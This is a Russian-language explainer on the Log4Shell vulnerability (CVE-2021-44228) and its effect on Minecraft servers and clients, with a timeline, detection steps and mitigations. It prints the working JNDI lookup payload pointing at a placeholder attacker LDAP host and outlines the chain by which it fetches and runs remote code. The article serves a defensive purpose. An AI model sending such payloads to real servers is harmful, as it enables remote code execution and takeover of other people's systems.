Log4Shell (CVE-2021-44228): как уязвимость в Java-библиотеке Log4j потрясла весь Minecraft
Введение: 10 баллов по шкале опасности
9 декабря 2021 года мир Minecraft изменился навсегда. Была обнаружена уязвимость CVE-2021-44228, известная как Log4Shell, в библиотеке логирования Apache Log4j 2, которую использовали практически все серверы Minecraft, клиенты, лаунчеры и даже серверы Mojang. Уязвимость получила максимальный рейтинг опасности — 10 из 10 по шкале CVSS. Она позволяла удалённо выполнить произвольный код на сервере, просто отправив специально сформированное сообщение в чат. Никакой аутентификации не требовалось — достаточно было написать сообщение в публичный чат. В этом материале я детально разберу, как работала эта уязвимость, почему она стала возможной, какие последствия имела и как защититься прямо сейчас.
Технический разбор: как работает Log4Shell
Log4j — это библиотека логирования, используемая в тысячах Java-приложений, включая Minecraft. Она записывает в логи всё, что происходит: подключения игроков, сообщения в чат, ошибки, команды. В версиях 2.0-beta9 до 2.14.1 в Log4j была функция «Message Lookup» — подстановка значений в строку логирования.
Синтаксис подстановки: ${тип:значение}. Например:
${java:version}— вставляет версию Java.${env:USER}— вставляет имя пользователя операционной системы.${date:YYYY-MM-DD}— вставляет текущую дату.
Одной из поддерживаемых подстановок была JNDI (Java Naming and Directory Interface). JNDI позволяет Java-приложению загружать объекты из удалённых источников по протоколам LDAP, RMI, DNS. Именно эта функция стала роковой.
Цепочка атаки: от сообщения в чат до полного контроля
- Шаг 1: Отправка вредоносной строки. Злоумышленник отправляет в чат Minecraft сообщение:
${jndi:ldap://evil-server.com/a}. Это может быть чат, название предмета на табличке, никнейм, текст в книге — всё, что логируется сервером. - Шаг 2: Обработка библиотекой Log4j. Сервер получает сообщение и передаёт его в Log4j для записи в лог. Log4j видит конструкцию
${jndi:ldap://...}и выполняет JNDI-подстановку. - Шаг 3: LDAP-запрос к серверу злоумышленника. Java-машина сервера Minecraft подключается к серверу злоумышленника по протоколу LDAP. Сервер злоумышленника отвечает, возвращая ссылку на вредоносный Java-класс.
- Шаг 4: Загрузка и выполнение вредоносного кода. Java-машина загружает вредоносный класс и выполняет его. Код может сделать что угодно: выдать права оператора, украсть файлы, установить майнер криптовалюты, удалить мир, остановить сервер.
Весь процесс занимает доли секунды. Жертва (администратор) может даже не подозревать, что сервер взломан — в чате могло появиться сообщение от игрока, которое тут же было удалено модератором, но Log4j уже обработал его.
Почему это было так опасно именно для Minecraft
- Minecraft использует Log4j повсеместно. Ванильный сервер, Paper, Spigot, Forge, Fabric, BungeeCord, Velocity — все использовали Log4j.
- Достаточно публичного чата. Не нужно быть администратором или иметь доступ к консоли. Любой игрок, зашедший на сервер, мог отправить сообщение в общий чат — и сервер взломан.
- Логируется всё. Не только чат, но и названия предметов, текст на табличках, никнеймы, команды, книги. Злоумышленник мог прислать предмет с вредоносным названием через почту плагина.
- Клиенты тоже уязвимы. Не только серверы — клиенты Minecraft тоже использовали Log4j. Зайдя на вредоносный сервер, клиент мог быть взломан через сообщение в чат от сервера.
Хронология событий
| Дата | Событие |
|---|---|
| 24 ноября 2021 | Исследователь безопасности Chen Zhaojun из Alibaba Cloud Security обнаруживает уязвимость и сообщает Apache |
| 9 декабря 2021 | Уязвимость становится публичной. Начинается массовая эксплуатация |
| 10 декабря 2021 | Mojang выпускает экстренное обновление клиента Minecraft (1.18.1) с исправлением |
| 10 декабря 2021 | Paper, Spigot, Forge, Fabric выпускают обновления с исправленной Log4j |
| 11 декабря 2021 | Обнаружено, что патч 2.15.0 не полностью закрывает уязвимость (CVE-2021-45046) |
| 13 декабря 2021 | Выпущена версия 2.16.0 с полным отключением JNDI |
| 17 декабря 2021 | Обнаружена третья уязвимость (CVE-2021-45105) — DoS через рекурсивные подстановки |
| 18 декабря 2021 | Выпущена версия 2.17.0 — полностью защищённая |
Как проверить, уязвим ли ваш сервер сейчас
- Проверьте версию Log4j. Найдите файл
log4j-core-*.jarв папке libraries сервера. Откройте его как ZIP-архив, найдите файлMETA-INF/MANIFEST.MF. В строкеImplementation-Versionуказана версия. Если версия ниже 2.17.0 — сервер уязвим. - Проведите тест. Напишите в чат сервера:
${date:YYYY-MM-DD}. Если в логах сервера отобразилась текущая дата вместо строки — Log4j обрабатывает lookups, и сервер потенциально уязвим. - Проверьте плагины. Некоторые плагины встраивают свою копию Log4j. Удалите старые плагины или обновите их.
Как защитить сервер
Метод 1: Обновление (рекомендовано)
- Используйте Paper/Purpur последней версии (они включают Log4j 2.17.0+).
- Обновите все плагины до последних версий.
- Обновите Java до Java 17 или 21 (новые версии имеют дополнительные защиты).
Метод 2: Флаг JVM (если обновление невозможно)
Добавьте в скрипт запуска: -Dlog4j2.formatMsgNoLookups=true
Метод 3: Удаление уязвимого класса
Выполните команду в папке libraries: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Уроки Log4Shell для администраторов
- Обновляйтесь своевременно. Уязвимость была исправлена в течение 24 часов после публикации. Серверы, которые были взломаны через неделю после анонса, пострадали из-за невнимательности администраторов.
- Мониторьте CVE. Подпишитесь на рассылки безопасности (NVD, SpigotMC announcements).
- Минимизируйте поверхность атаки. Отключайте функции, которые не нужны. Если бы Log4j не поддерживал JNDI по умолчанию — уязвимости бы не было.
- Используйте брандмауэр. Ограничьте исходящие соединения с сервера Minecraft — он не должен подключаться к произвольным LDAP-серверам в интернете.
💡 Совет профи
Log4Shell — не единственная уязвимость в Log4j. После неё были обнаружены CVE-2021-45046, CVE-2021-45105, CVE-2021-44832. Все они исправлены в Log4j 2.17.0+. Но многие серверы и плагины до сих пор используют старые версии. Проверьте ВСЕ JAR-файлы в папке libraries и plugins — не только серверные, но и библиотеки, которые тащат плагины. Один плагин со старой Log4j внутри делает уязвимым весь сервер.
💬 Комментарии (0)
🔒 Войдите, чтобы оставить комментарий
😊 Пока нет комментариев. Будьте первым!